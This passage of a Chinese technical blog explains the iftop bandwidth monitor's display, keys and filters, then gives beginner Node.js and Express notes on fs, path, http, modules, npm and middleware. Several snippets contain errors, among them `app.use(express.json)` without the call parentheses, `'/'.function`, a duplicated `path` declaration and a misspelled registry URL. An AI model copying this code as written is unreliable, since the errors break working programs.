* 发送速率：2.06Kb/s（最近2秒），之后略低；
* 接收速率：480b/s 左右。
  → 可以看出，这个连接主要是发送多、接收少（可能是向对方发送请求）。

```bash
d25ca73b896e                                                               => 154.219.108.139                                                                0b      0b     45b
                                                                           <=                                                                                0b      0b     55b
```

**第三个连接**

* 与公网 IP `154.219.108.139` 的连接；
* 发送流量几乎为 0；
* 接收约 55b/s；
* 说明该连接只是极少量数据往返（例如 NTP 时间同步、心跳包）。

```markdown
d25ca73b896e                                                               => time.cloudflare.com                                                            0b      0b     15b
                                                                           <=                                                                                0b      0b     15b
```

**与 Cloudflare 时间服务器通信**

* `time.cloudflare.com`：一个公共 NTP 时间服务；
* 上下行各 15b/s；
* 属于周期性时间同步的小数据包。

```bash
d25ca73b896e                                                               => 81.168.83.93                                                                   0b      0b     15b
                                                                           <=                                                                                0b      0b     15b
```

* 与 IP `81.168.83.93` 有少量通信；
* 通常这种极低速率的连接属于后台探测或保持心跳连接。

```bash
d25ca73b896e                                                               => 111.230.189.174                                                                0b      0b     15b
                                                                           <=                                                                                0b      0b     15b
```

* 类似上面：极少量数据，可能是短暂的探测或 DNS/NTP 请求。

（中间是空行，表示没有更多活跃连接）

```bash
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
TX:             cum:   66.4KB   peak:   5.64Kb                                                                                                   rates:   2.06Kb  2.26Kb  2.14Kb
RX:                    2.17MB           4.78Kb                                                                                                             480b   1.89Kb  1.82Kb
TOTAL:                 2.23MB           10.1Kb                                                                                                            2.53Kb  4.15Kb  3.95Kb
```

**底部统计区（Summary Section）**

| 项        | 含义                  |
| --------- | --------------------- |
| **TX**    | “Transmit” = 发送方向 |
| **RX**    | “Receive” = 接收方向  |
| **TOTAL** | 总流量（TX + RX）     |

下面再细分讲每行参数：

**TX 行**

```bash
TX:             cum:   66.4KB   peak:   5.64Kb   rates:   2.06Kb  2.26Kb  2.14Kb
```

| 字段    | 含义                                            |
| ------- | ----------------------------------------------- |
| `cum`   | 累积总发送量（当前运行以来）                    |
| `peak`  | 发送速率峰值（最高值）                          |
| `rates` | 三列速率，分别为过去 2、10、40 秒的平均发送速率 |

**RX 行**

```bash
RX:             2.17MB   4.78Kb   480b   1.89Kb  1.82Kb
```

同理，只不过是接收流量的统计。

**TOTAL 行**

```
TOTAL:          2.23MB   10.1Kb   2.53Kb  4.15Kb  3.95Kb
```

* 汇总发送 + 接收；
* 表示从启动以来一共传输了 2.23MB 数据；
* 当前速率约为 3~4 Kb/s。

**总结结构对照表**

| 区域     | 名称       | 说明                                        |
| -------- | ---------- | ------------------------------------------- |
| 顶部     | 带宽刻度条 | 右上角数字为速率刻度                        |
| 主体中部 | 连接详情   | 每两行一组：上行 `=>` / 下行 `<=`           |
| 右侧三列 | 实时速率   | 过去 2s、10s、40s 平均速率                  |
| 底部     | 汇总信息   | 显示 TX / RX / TOTAL 的累积、峰值与平均速率 |

**重点记忆**

| 标记    | 含义                            |
| ------- | ------------------------------- |
| `=>`    | 本机发出（上行流量 TX）         |
| `<=`    | 本机接收（下行流量 RX）         |
| 3列数字 | 分别对应 2秒、10秒、40秒 平均值 |
| cum     | 从 iftop 启动到现在的累计流量   |
| peak    | 观察期间的峰值速率              |
| rates   | 实时流量变化趋势（3列）         |

## 界面标注图（文字注释版）

```bash
                                   191Mb              381Mb              572Mb              763Mb              954Mb
└──────────────────────────────────┴──────────────────┴──────────────────┴──────────────────┴──────────────────┘
↑                                                                                                           ↑
│                                                                                                           │
│                 🟡 顶部为带宽刻度（Scale Bar）—— 表示右侧图形条的速率范围                                    │
│                 每个数字代表当前显示的最大带宽区间，例如 954Mb 表示满格时约为 954Mb/s                     │
│                                                                                                           │
├───────────────────────────────────────────────────────────────────────────────────────────────────────────┤
d25ca73b896e                                                               => XiaoQiang               0b   1.30Kb  1.31Kb
↑                                                                          ↑                           ↑     ↑       ↑
│                                                                          │                           │     │       │
│ 🟢 本地主机名（或容器 ID）                                              │                           │     │       │
│                                                                          │                           │     │       │
│                                                                          │                           │     │       └─── 最近 40 秒平均速率
│                                                                          │                           │     └─────────── 最近 10 秒平均速率
│                                                                          │                           └───────────────── 最近 2 秒平均速率
│                                                                          └──────────────────────────── 远程主机名或 IP
│                                                                                                           （当前通信对象）
│
│            => 表示【发送方向】（TX，上行）数据 —— 从本机发出到远程主机
│
│
                                                                           <=                           0b   1.49Kb  1.49Kb
                                                                            ↑
                                                                            └─── <= 表示【接收方向】（RX，下行）数据 —— 从远程主机接收到本机
│
│ 每两行是一条连接（Connection），上行为发送，下一行为接收。
│
│
d25ca73b896e                                                               => WIN-JQ5SQ9A99OM          2.06Kb   976b    756b
                                                                           <=                          480b     403b    229b
│
│ 另一条连接示例，说明与另一台主机（WIN-JQ5SQ9A99OM）的通信速率。
│
│
d25ca73b896e                                                               => 154.219.108.139           0b      0b      45b
                                                                           <=                           0b      0b      55b
│
│ 公网连接示例：极少流量，通常是 NTP、DNS、心跳包等轻量通信。
│
│
d25ca73b896e                                                               => time.cloudflare.com       0b      0b      15b
                                                                           <=                           0b      0b      15b
│
│ 与 Cloudflare 时间服务器的同步连接。
│
│
（中间空白表示无更多活跃连接）
│
│
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
TX:        cum: 66.4KB   peak: 5.64Kb                 rates: 2.06Kb  2.26Kb  2.14Kb
↑          ↑        ↑         ↑                            ↑       ↑       ↑
│          │        │         │                            │       │       └─── 最近 40 秒平均发送速率
│          │        │         │                            │       └──────────── 最近 10 秒平均发送速率
│          │        │         └─────────────────────────────── 峰值发送速率（Peak）
│          │        └────────────────────────────────────────── 累积发送量（累计已发送总字节）
│          └─────────────────────────────────────────────────── “TX”：发送方向统计
│
│
RX:             2.17MB     4.78Kb                       480b   1.89Kb  1.82Kb
↑               ↑          ↑                            ↑      ↑       ↑
│               │          │                            │      │       └─── 最近 40 秒平均接收速率
│               │          │                            │      └──────────── 最近 10 秒平均接收速率
│               │          └────────────────────────────── 峰值接收速率
│               └────────────────────────────────────────── 累积接收量
│               （从启动以来收到的数据总量）
│
│
TOTAL:          2.23MB     10.1Kb                      2.53Kb  4.15Kb  3.95Kb
↑               ↑          ↑                           ↑       ↑       ↑
│               │          │                           │       │       └─── 40 秒平均总速率（发送+接收）
│               │          │                           │       └──────────── 10 秒平均总速率
│               │          └────────────────────────────── 峰值总速率
│               └────────────────────────────────────────── 累积总流量（TX+RX）
│
│
└───────────────────────────────────────────────────────────────────────────────────────────────────────────────
               🔵 底部为汇总统计区（Summary）
               包含发送（TX）、接收（RX）和总计（TOTAL）
               显示当前平均速率、峰值速率、累计传输量等。
```

## 常用快捷键（运行时交互命令）

在运行界面时，按以下键可以切换显示方式（不需要退出）：

| 快捷键 | 功能说明                                        |
| ------ | ----------------------------------------------- |
| `h`    | 显示帮助信息                                    |
| `n`    | 切换显示主机名 / IP                             |
| `s`    | 只显示发送流量（TX）                            |
| `r`    | 只显示接收流量（RX）                            |
| `t`    | 切换显示总流量（TX+RX）                         |
| `p`    | 切换显示端口号                                  |
| `P`    | 暂停 / 继续监控                                 |
| `b`    | 切换显示流量单位（bit/s, byte/s）               |
| `B`    | 显示总计（显示总发送 / 接收流量）               |
| `d`    | 切换是否显示本地主机名                          |
| `S`    | 显示或隐藏滚动条                                |
| `l`    | 启用 / 禁用流量过滤模式（输入后可用表达式过滤） |
| `q`    | 退出                                            |

## 常用命令参数

| 参数               | 说明                                      |
| ------------------ | ----------------------------------------- |
| `-i <interface>`   | 指定要监控的网络接口，如 `iftop -i eth0`  |
| `-B`               | 使用 **Bytes/s** 显示（默认是 bits/s）    |
| `-n`               | 不解析主机名，直接显示 IP（提高性能）     |
| `-N`               | 不解析端口号，直接显示端口数字            |
| `-P`               | 显示端口号                                |
| `-F <filter>`      | 只监控特定的 IP 或网段                    |
| `-f <pcap-filter>` | 使用 `tcpdump` 语法进行过滤（强大）       |
| `-t`               | 纯文本模式（适合输出日志文件或 SSH 环境） |
| `-L <num>`         | 限制显示的连接数量（默认 40）             |

**示例**：

```bash
# 只监控 eth0 接口
sudo iftop -i eth0

# 不解析域名，提高速度
sudo iftop -i eth0 -n

# 以 Bytes/s 显示
sudo iftop -i eth0 -B

# 显示端口号
sudo iftop -i eth0 -P

# 同时禁用域名解析并显示端口
sudo iftop -i eth0 -nP
```

## 过滤功能（精准监控）

`iftop` 支持类似 `tcpdump` 的过滤语法，可以聚焦特定目标：

| 示例命令                                     | 说明                       |
| -------------------------------------------- | -------------------------- |
| `sudo iftop -i eth0 -f "host 8.8.8.8"`       | 仅查看与 8.8.8.8 的通信    |
| `sudo iftop -i eth0 -f "port 80"`            | 仅查看 HTTP 流量           |
| `sudo iftop -i eth0 -f "net 192.168.1.0/24"` | 仅查看特定网段的通信       |
| `sudo iftop -i eth0 -f "src 192.168.1.10"`   | 仅查看从指定主机发出的流量 |
| `sudo iftop -i eth0 -f "dst port 443"`       | 仅查看目标为 HTTPS 的流量  |

## 实战示例

### 排查服务器谁在占用带宽

```bash
sudo iftop -i eth0 -nP
```

观察哪条连接的流量数值最高（右侧列数最大）。

### 查看特定端口的实时流量

```bash
sudo iftop -i eth0 -f "port 22"
```

查看 SSH 连接的带宽情况。

### 持续输出日志（文本模式）

```bash
sudo iftop -t -s 60 -i eth0 > iftop.log
```

* `-t`：文本模式
* `-s 60`：监控 60 秒后退出

适合服务器上做定时流量记录。

## iftop 与其他工具对比

| 工具        | 作用                | 特点                     |
| ----------- | ------------------- | ------------------------ |
| `iftop`     | 实时带宽监控        | 按连接显示，直观         |
| `nload`     | 仅显示上/下行总速率 | 界面简洁，不显示IP       |
| `iptraf-ng` | 多窗口流量统计      | 可显示协议统计、详细连接 |
| `bmon`      | 图形化带宽监控      | 可绘制带宽变化曲线       |
| `vnstat`    | 长期流量统计        | 可保存历史流量数据       |

小结：

* 临时看流量：`iftop`
* 想看总带宽：`nload`
* 想留历史数据：`vnstat`

## 常见问题（FAQ）

### iftop 无法启动或报错 “can't open device”

原因：没有权限。
解决：

```bash
sudo iftop -i eth0
```

### 显示主机名太慢？

原因：DNS 解析太耗时。
解决：

```bash
sudo iftop -i eth0 -n
```

### 想导出日志？

`iftop` 没有直接日志功能，可用：

```bash
sudo iftop -t -s 60 -i eth0 > iftop_$(date +%F_%H-%M).log
```

### iftop 显示空白？

检查：

* 是否选错网卡（用 `ip link show` 查）
* 是否无流量经过该接口（例如监控了虚拟接口）
* 防火墙或容器网络隔离问题

## 技巧与最佳实践

**性能优化**

* 使用 `-nN` 禁止解析主机名和端口号；
* 只监控必要接口；
* 关闭滚动条 `S`。

**快速排查网络瓶颈**

* 运行 `iftop -nP`
* 按 `t` 切换总流量模式
* 找到最大流量的连接，看 IP + 端口组合

**自动监控脚本**
可以结合 `cron` + `iftop -t` 定期保存流量日志，用于带宽分析或审计。

## 退出

在界面中按 `q` 即可退出。

---

---
url: /posts/ndf41lnl/index.md
---
# 快速上手Node.js
## 控制台文字格式化

### 颜色

`npm install ansi-colors`

```javascript
const colors = require('ansi-colors');

console.log(colors.red('这是一个红色的文本'));
console.log(colors.blue('这是一个蓝色的文本'));
console.log(colors.green('这是一个绿色的文本'));
console.log(colors.yellow('这是一个黄色的文本'));
console.log(colors.bgCyan('这是一个青色背景的文本'));
console.log(colors.bold('这是一个加粗的文本'));
console.log(colors.underline('这是一个带有下划线的文本'));
```

### 清屏

`npm install clear`

```javascript
const clear = require('clear');
clear(); // 清屏
```

### 符号

```JavaScript
// 输出箭头符号
console.log('→');

// 输出勾选符号
console.log('✔');

// 输出错误符号
console.log('✖');

// 输出信息符号
console.log('ℹ');

// 输出警告符号
console.log('⚠');

// 输出其他符号
console.log('★'); // 星号
console.log('♥'); // 心形
console.log('☀'); // 太阳
```

`可以`使用Tab键快速补全文件名(路径)

`fs.readFile()`方法，用于读取指定文件的内容
`fs.writeFile()`方法，用于向指定文件写入内容

```javascript
const fs = require('fs'); // 导入fs模块
```

fs.readFile( 文件路径 , 编码格式(可选) , 回调函数 )

```javascript
const fs = require('fs');
fs.readFile('1.txt','utf-8',function(err,data){ // err代表失败结果，data代表成功结果
console.log(err);
console.log('----------------');
console.log(data);
})
```

fs.writeFile( 文件路径，写入内容，格式（可选），回调函数)

```javascript
const fs = require('fs');
fs.writeFile('1.txt','Hello World!','utf-8',function(err){
console.log(err);
})
```

`\r\n`代表换行

**使用绝对路径时候注意 一个斜线在JavaScript中代表转译，所以使用两个斜线即可**

`__dirname`表示当前文件所处的目录

`path.join()`方法，用来将多个路径片段拼接成一个完整的路径字符串

```JavaScript
const path = require('path') // 导入Path模块

const path = require("path")
const pathStr = path.join('/a','/b/c','../','./d','e') // ../代表抵消前一个路径，(返回)
console.log(pathStr); // \a\b\d\e
const pathStr2 = path.join(__dirname,'1.txt')
console.log(pathStr2); // 输出当前文件所处的目录
```

`path.basename()`方法，用来从字符串中，将文件名解析出来

```javascript
const path1 = "Y:\百日工作\Node.js";
const fullNmae = path.basename(path1);
console.log(fullNmae); // node.js

const fullNmae1 = path.basename(path1,'.js');
console.log(fullNmae1); // node
//传入参数有扩展名时，返回值将省略扩展名
```

`path.extname()`方法，可以获取路径中的扩展名部分

```JavaScript
const fpath = 'a/b/c/index/index.html';
const fext = path.extname(fpath)
console.log(fext); // .html
```

**HTTP**

```javascript
const http = require('http') // 导入http模块
```

```JavaScript
const http = require('http')
const server = http.createServer() // 创建web服务器实例
server.on("request",function(req,res){
    console.log("Someone visit our web server"); // 为服务器实例绑定request事件，监听客户端请求
}) 
server.listen(8080,function(){
console.log("server runing at http://127.0.0.1:8080"); // 启动服务器
})
```

**req请求对象**中存储了与客户端相关的数据或者属性

`req.url`客户端请求的URL地址

`req.method`客户端的method请求类型

## req

```javascript
const http = require('http')
const server = http.createServer()
server.on("request",function(req,res){
    console.log("Someone visit our web server");
    const url = req.url;
    const method = req.method;
    const str = `请求地址:${url},请求类型${method}`
    console.log(str);
})
server.listen(8080,function(){
console.log("server runing at http://127.0.0.1:8080");
})
//http://127.0.0.1:8080/index.html
// /index.html
// GET
```

## res

访问与服务器相关的数据或者属性

```javascript
res.end(str) // 方法用于向客户端发送指定内容，并结束本次请求的处理过程
```

### 解决中文乱码问题

设置响应头content-Type的值为text/html：charset=utf-8

Content-Type表示以什么编码格式解析返回的内容

```javascript
   res.setHeader('Content-Type','text/html; charset=utf-8')
```

**根据不同的url地址响应不同的html内容**

```javascript
const http = require('http')
const server = http.createServer()
server.on("request", function (req, res) {
    console.log("Someone visit our web server");
    const url = req.url;
    const method = req.method;
    let content = '<  h1>404 Not found!<  /h1>';
    if (url === '/' || url === '/index.html') {
        content = '<  h1>首页<  /h1>'
    }
    else if (url === '/about.html') {
        content = '<  h1>关于<  /h1>'
    }
    const str = `\r\n请求地址:${url},请求方式:${method}`
    console.log(str);
    res.setHeader('Content-Type', 'text/html; charset=utf-8')
    res.end(content)
})
server.listen(8080, function () {
    console.log("server runing at http://127.0.0.1:8080");
})
```

## 模块化

**模块化**指的是在解决一个复杂问题的时候，自顶向下逐层把系统划分成若干模块的过程，对于系统来说，模块化是**可组合**，**可分解**和**可更换**的单元。

编程领域中的模块化，就是遵守固定的规则，把一个大文件拆分成独立并且互相依赖的多个小模块。

好处：提高复用性，可维护性，以及按需加载

### 模块化规范

例如：

以什么样的语法格式来引入模块
在模块中使用什么样的语法格式来向外暴露成员

Node.js中的模块根据来源的不同，将模块分为3大类，分别是：

内置模块（内置模块是由Node官方提供的，例如：fs，path，http等）
自定义模块（用户创建的每个JS文件，都是自定义模块）
第三方模块（由第三方开发出来的模块，并非官方提供的内置模块，也不是用户创建的自定义模块，并且使用第三方模块需要下载）

**注意**：使用require()方法加载其他模块的时候，会执行被加载模块的代码

在使用require()加载自定义模块时可以省略后缀名

### 模块作用域

和函数作用域类似，在自定义模块中定义的变量，方法等成员，只能在当前模块内被访问，这种模块级别的访问限制，叫做**模块作用域**

**作用**：用于防止全局变量污染的问题

### 共享模块成员

#### module对象

在每个`.js`自定义模块中都有一个`module`对象，它里面存储了和当前模块有关的信息

module.exports对象，将模块内的成员共享出去，提供给外界使用

外界用require()方法导入自定义模块时，得到的就是module.exports所指向的对象。

```javascript
module.exports.username='zs'; //向module.exports对象上挂载username属性
module.exports.sayHello= function(){ // ...
    console.log("Hello World!");
}

const user = require('./user')
console.log(user); // { username: 'zs', sayHello: [Function (anonymous)] }
```

注意：使用require()方法导入模块时，导入的结果，永远以module.exports**指向的对象为准**

```javascript
module.exports.username='zs'; //向module.exports对象上挂载username属性
module.exports.sayHello= function(){ // ...
    console.log("Hello World!");
}

module.exports={
    name:'bill',
    say(){
        console.log("Hi!");
    }
}
```

由于module.exports单词写起来比较复杂，为了简化向外共享成员的代码，node提供了exports对象，**默认情况下，exports和module.exports指向同一个对象**，**最终共享的结果，还是以module.exports指向的对象为准**

```javascript
console.log(exports);
console.log(module.exports);
console.log(exports === module.exports); // true
```

#### module.exports和exports的使用误区

注意：require()模块时，得到的永远是**module.exports**指向的对象

为了防止混乱，建议在一个模块中不要**同时使用**exports和module.exports

#### 模块化规范

Node.js遵循了`CommonJS`模块化的规范，`CommonsJS`规定了模块化的特性和各模块之间的如何相互依赖

每个模块内部，module变量代表当前模块
module变量是一个对象，它的exports属性（即module.exports）是对外的接口
加载某个模块，其实是加载模块的module.exports属性，require()方法用于加载模块

#### 包

Node中的**第三方模块**又叫做**包**

作用：

由于Node内置模块提供了一些底层的API，导致在基于内置模块进行开发项目中，效率很低

\*\*包是基于内置模块封装出来的，\*\*提供了更高级，更方便的API，极大的提高了开发效率

全球最大的包共享平台：https://www.npmjs.com/

下载地址：https://registy.npmjs.org/

**package-lock.json配置文件**用于记录node\_modules目录下的每一个包的下载信息，例如包的名字，版本号，下载地址等

包的**语义化规范**：

例如：2.24.0

第一位数字：大版本

第二位数字：功能版本

第三问数字：Bug修复版本

版本提升规则：只要前面的版本号增加了，则后面版本号归零。

**package.json配置文件**记录配置信息，如

项目的名称，版本号，描述等
**项目中使用了哪些包**
开发期间使用的包
部署时需要的包

注意：在项目开发中，要把node\_modules文件夹添加到\*\*.gitignore忽略文件\*\*中。

使用`npm init -y`命令快速创建package.json文件

注意：上述命令只能在英文目录下成功运行！即项目文件夹名称一定要使用英文名称，不要有**空格**。

`npm install`命令会一次性把所有依赖的包安装

`npm uninstall`卸载包

如果某些包只在**项目开发阶段**会用到，在**项目上线之后就用不到了**，则建议把这些包记录到`devDependencies`节点中，如果**开发**和**上线**都要用到，则记录到`dependencies`节点中。

//安装指定包，并记录到`devDependencies`节点中

`npm i 包名 -D`

完整写法：`npm install 包名 --save-dev`

查看当前的下载镜像地址：`npm config get registry`

切换镜像源地址：`npm config set registry=https://registry.npm.taobao.org/`

#### nrm

为了更方便的切换下包的镜像源，可以安装nrm工具。

`npm i nrm -g` // 全局安装

`nrm ls`查看所有可用的镜像源

`nrm use <  name>`切换地址

##### 分类

使用npm包管理工具下载的包，分为两大类：

项目包
开发依赖包（记录在devDependencies中）
核心依赖包（记录在dependencies中）

全局包
`npm i <  name> -g`
`npm uninstall <  name> -g`
只有**工具性质**的包，才有全局安装的必要性
`npm root -g`查看全局包路径

#### i5ting\_toc

i5ting\_toc是一个可以把md文件转化成html页面的工具

`npm install -g i5ting_toc` // 全局安装

`i5ting_toc -f <  文件路径> -o` // 使用

-f代表要转换的文件路径 -o转换完成后自动打开浏览器

注意：转换失败使用**管理员cmd**即可

#### 包结构

一个规范的包，组成结构必须符合：

包必须以单独的目录而存在

包的顶级目录下必须包含**package.json**这个包管理配置文件

**package.json**必须包含name，version，main这三个属性，分别代表名字，版本号，包的入口（require加载的文件）

## Express

Express是基于Node.js平台，快速，开放，极速的**Web开发框架**

通俗理解：Express的作用和Node.js内置http模块类似，是专门用来**创建web服务器的**

本质是一个第三方的包  **地址**：http://www.expressjs.com.cn/

安装：`npm i express@4.17.1`

```javascript
const express = require("express") // 导入Express
const app = express() // 创建Web服务器
app.listen(8080,()=>{ // 调用app.listen(端口号，回调函数)来启动服务器
    console.log("Express server running at http://127.0.0.1");
})
```

### 监听GET请求

```javascript
app.get("请求URL",function(req,res){/*处理函数*/})
//req：请求对象，包含了与请求相关的属性和方法
//res：响应对象，包含了与响应相关的属性与方法
```

### 监听POST请求

```javascript
app.post("请求URL",function(req,res){/*处理函数*/})
//req：请求对象，包含了与请求相关的属性和方法
//res：响应对象，包含了与响应相关的属性与方法
```

### 内容响应

```javascript
res.send({
    name:"as",
    age:12,
    sex:'boy'
})

```

### 获取参数

获取URL中携带的查询参数

通过`req.query`对象，可以访问到客户端通过查询字符串的形式，发送到服务器的参数

```javascript
app.get("/", function (req, res) {/*处理函数*/
    console.log(req.query);
    res.send(req.query)
    
})
//http://127.0.0.1:8080/?name=zs&age=18
```

#### 动态参数

通过`req.params`对象，可以访问到URL中，通过\*\*：\*\*匹配到的动态参数

```javascript
app.get("/user/:id", function (req, res) { // 动态参数id
    res.send(req.params)
})

//http://127.0.0.1:8080/user/12
//{"id":":12"}

app.get("/user/:id/:name", function (req, res) {/*处理函数*/
    res.send(req.params)
    console.log(req.params);
})
//http://127.0.0.1:8080/user/2/23
//{"id":"2","name":"23"}
```

### 托管静态资源

express.static()

用于创建一个静态资源服务器，例如：通过以下代码就可以将public目录下的图片，css文件，JS文件对外开放了

```javascript
app.use(express.static("pubilc"))
//现在外界就可以访问public的所有文件
```

注意：express在指定的静态目录中查找文件，并对外提供资源的访问路径，因此，**存放静态文件的目录名不会出现在URL中**

http://localhost:3000/images/1.jpg
http://localhost:3000/css/style.css
http://localhost:3000/js/index.js

```javascript
app.use(express.static(path.join(__dirname,'home')))
console.log(path.join(__dirname,'home'));

//http://127.0.0.1:8080/index.html
//http://127.0.0.1:8080/css/main.css
```

#### 托管多个静态目录

**多次调用即可**

注意：当外界访问两个文件夹中相同文件（名）时，会根据调用顺序返回文件

#### 挂载路径前缀

```javascript
app.use('/public',express.static(path.join(__dirname,'home')))
//需要通过指定前缀才能访问到文件
//http://127.0.0.1:8080/public/index.html
```

### nodemon

在编写和调试Node的时候，如果修改了代码需要手动关闭然后再启动，太繁琐

它可以监听项目文件的变动，当代码修改后，nodemon会**自动重启项目**，极大提升开发效率

#### 安装nodemon

`npm install -g nodemon`

#### 使用Nodemon

`nodemon <  name.js>`

### Express路由

路由指**映射关系**

例子：

按键1-业务查询
按键2-手机充值
按键3-业务办理
按键4-人工客服

路由是**按键**和**服务**之间的**映射关系**

所以：

在express中，路由指的是**客户端请求**与**服务器处理函数**之间的**映射关系**

共有三个部分组成：

请求类型 (method)
请求URL (path)
处理函数 (handlek)

```javascript
app.method(path,handlek)
// method:get post ...
// path:...
// handlek:...
```

```javascript
app.post("/user", function (req, res) {/*处理函数*/
    res.send("请求成功")
})
```

### 模块化路由

为了方便对路由进行模块化管理，Express不建议将路由直接挂载到app上，而是推荐将路由**抽离为单独的模块**。

1. 创建路由模块对于的`.js`文件
2. 调用express.Router()函数来创建路由对象
3. 向路由对象上挂载具体的路由
4. 使用module.exports向外共享路由对象
5. 使用app.use()函数注册路由模块

```javascript
// 创建路由模块
const express = require("express")
const router = express.Router() //  创建路由对象

router.get("/", function (req, res) {
    res.send("Get Success!")
    console.log("Get!");
})
router.post("/", function (req, res) {
    console.log("Post!");
    res.send("Post Success!")
})

module.exports = router // 向外导出路由对象
```

```javascript
// 注册路由模块
const express = require('express');
const app = express()

const userRouter = require('./Router') // 导入路由模块
app.use(userRouter) // 注册路由模块

app.listen(8080, () => {
    console.log("express server running at http://127.0.0.1:8080");
})
```

app.use()函数的作用，就是来**注册全局中间件的**

#### 路由模块前缀

```javascript
app.use('/api',userRouter)
```

## 中间件

中间件，特指**业务流程**的中间**处理环节**

express中间件的调用流程：
当一个请求到达express服务器后，可以连续调用多个中间件，从而对这次请求进行**预处理**

express的中间件本质就是一个function处理函数，express格式如下：
注意：中间件函数的形参列表中**必须包含next函数**，而路由处理函数**只有包含req和res**

```javascript
app.get('/'.function(req,res,next){
        next();
})
app.listen(3000)
```

**next函数**是实现**多个中间件连续调用**的关键，它表示把流转关系**转交**给下一个**中间件**或者**路由**

```javascript
//常量mw所指向的就是一个中间件函数
const mw = function (req, res, next) {
    console.log("中间件函数");
    next()
    //注意：在当前中间件业务处理完毕后必须调用next()函数表示把流转关系转交给下一个中间件或者路由
}
```

##### **全局生效**的中间件

客户端发起的任何请求，到达服务器后，**都会触发中间件**，叫做全局生效的中间件

通过调用app.use(中间件函数)，即可定义一个全局生效的中间件

```javascript
app.use((req, res, next) => {
    next()
})
```

中间件的作用：

多个中间件之间，共享同一份req和res，基于这样的特性，我们可以在**上游**的中间件中，统一为req和res对象添加**自定义的属性和方法**，供**下游**的中间件或者路由使用

```javascript
app.use((req, res, next) => {
    const time = Date.now()
    req.time= time // 为req对象挂载一个自定义属性，从而把时间共享给所有的路由或者中间件
    next()
})
app.get('/', (req, res) => {
    res.send("Home pags"+req.time)
})

```

##### 定义多个全局中间件

```javascript
app.use((req, res, next) => {
    const time = Date.now()
    req.time= time // 为req对象挂载一个自定义属性，从而把时间共享给所有的路由或者中间件
    console.log('中间件1');
    next()
})
app.use((req, res, next) => {
    console.log('中间件2');
    
    next()
})
app.get('/', (req, res) => {
    res.send("Home pags"+req.time)
})

```

##### 局部**生效**的中间件

不使用app.use()定义的中间件，叫做局部生效的中间件

```javascript
const mw = function (req, res, next) {
    console.log("局部中间件函数");
    next()
}
app.get('/qwe',mw,function(req,res){
    res.send('zjj');
    console.log('局部中间件log');
})
```

##### 定义多个局部中间件

```javascript
const mw1 = function (req, res, next) {
    console.log("局部中间件函数1");
    next()
}
const mw2 = function (req, res, next) {
    console.log("局部中间件函数2");
    next()
}
app.get('/qwe',mw1,mw2,function(req,res){
    res.send('zjj')
    console.log('局部中间件log');
})
app.get('/qwe',[mw1,mw2],function(req,res){
    res.send('zjj')
    console.log('局部中间件log');
})
```

##### 中间件的注意事项

一定要在路由之前注册中间件

客户端发送过来的请求，**可以连续调用多个**中间件进行处理

执行完中间件业务代码后，**不要忘记调用next()函数**

为了**防止代码逻辑混乱**，调用next()函数后**不要再了写额外代码**

连续调用多个中间件的时，多个中间件之间，共享req和res对象

##### 中间件分类

应用级别的中间件

通过app.use()或者app.get()或者app.post()，**绑定到app实例上的中间件**，叫做应用级别中间件

路由级别的中间件

绑定到Express.Router()实例上的中间件，叫做路由级别的中间件，它的用法和应用级别的中间件没有任何区别，只不过，应用级别的中间件是绑定到app实例的，路由级别的中间件绑定到router实例上的

错误级别的中间件

作用：专门捕获整个项目中发生的异常错误，从而防止项目异常崩溃的问题 -

格式：错误中间件的function处理函数中，必须有4个形参，分别为（err,req,res,next）

注意：错误级别中间件**必须注册在所有路由之后**

```javascript
   app.get('/', (req, res) => {
       throw new Error("error")
       res.send("Home pags"+req.time)
   })
   app.use(function(err,req,res,next){
       console.log('错误:',err.message);
       res.send('错误:',err.message)
   })
   //定义错误级别的中间件，用于捕获整个项目的异常错误，防止程序的崩溃/停止
```

​

Express内置的中间件

Express内置了**三个常用的中间件**，极大提高开发效率和体验

express.static快速托管静态资源的内置中间件，例如：HTML，图片，css文件等

express.json解析JSON格式的请求体数据类型（有兼容性，仅在4.16.0+使用）

express.urlencoded解析 URL-encoded格式的请求体数据 （有兼容性）

```JavaScript
  // app.use(express.json)
  //  app.use(express.urlencoded({extended:false}))
  // 在服务器，可以使用req.body这个属性，来接收客户端发送过来的请求数据
  // 默认情况下，如果不配置解析表单数据的中间件，则req.body默认等于undefined
  // 除了错误级别中间件，其他的中间件必须在路由之间配置

  //JSON
  app.use(express.json)
  app.post('/data', function (req, res) {
      console.log(req.body);
      res.send("Success")
  })

  //URL
  app.use(express.urlencoded({ extended: false }))
  app.post('/book', function (req, res) {
      console.log(req.body);
      res.send("Success")
  })
```

第三方中间件

非Express官方内置的，而是由第三方开发出来的中间件，在项目中，按需下载并配置第三方中间件，从而提高项目的开发效率

例如：body-parser，这个中间件来解析请求体数据

```
1. 运行npm install body-parser安装中间件
2. 使用require导入中间件
3. 调用app.use()注册并且使用中间件
```

**注意**：Express内置的中间件，就是基于body-parser这个中间件进一步封装的

```javascript
  const express = require('express')

  const app = express()

  const parser = require('body-parser')
  app.use(parser.urlencoded({extended:false}))

  app.post('/user',(req,res)=>{
      console.log(req.body);
      res.send("OK")
  })

  app.listen(99,function(){
      console.log("http://127.0.0.1:99");
  })
```

##### 自定义中间件

```javascript
// 注册路由模块
const express = require('express');
const colors = require('ansi-colors')
const clear = require('clear')
const qs = require('querystring')
const app = express()
clear()
app.use((req, res, next) => { // 监听req对象的data事件，获取客户端发送到服务器的数据
    let str = '';
    req.on('data', (chuck) => {
        str += chuck
    })
    req.on('end',()=>{ //当数据接收完毕后，会自动触发req的end事件
        const body = qs.parse(str)
        console.log(body); // 完整的请求体
        req.body=body
        next()
    })
})

app.post("/user",(req,res)=>{
    res.send(req.body)
})


app.listen(9090, () => {
    console.log("express server running at:", colors.green('http://127.0.0.1:9090'));
})   
```

### 接口

#### 创建API路由模块

```javascript
const express = require("express")
const colors = require('ansi-colors')

const router = express.Router() //  创建路由对象

router.get("/get", function (req, res) {
    const query = req.query // 获取客户端通过查询字符串，发送到服务器的数据
    res.send({
        status:0,   // 状态码，0表示成功，1表示失败
        msg:'GET Success', // 状态描述
        data:query // 响应给客户端的具体数据
    })
    console.log(colors.green('✔ Get!'));
})



// 注意：如果要获取URL-encoded格式的数据，必须配置中间件app.use(express.urlencoded({extended.false}))
router.post("/post", function (req, res) {
    const body = req.body
    console.log("Post!");
    res.send({
        status:0,   // 状态码，0表示成功，1表示失败
        msg:'POST Success', // 状态描述
        data:body // 响应给客户端的具体数据
    })
})

module.exports = router // 向外导出路由对象 


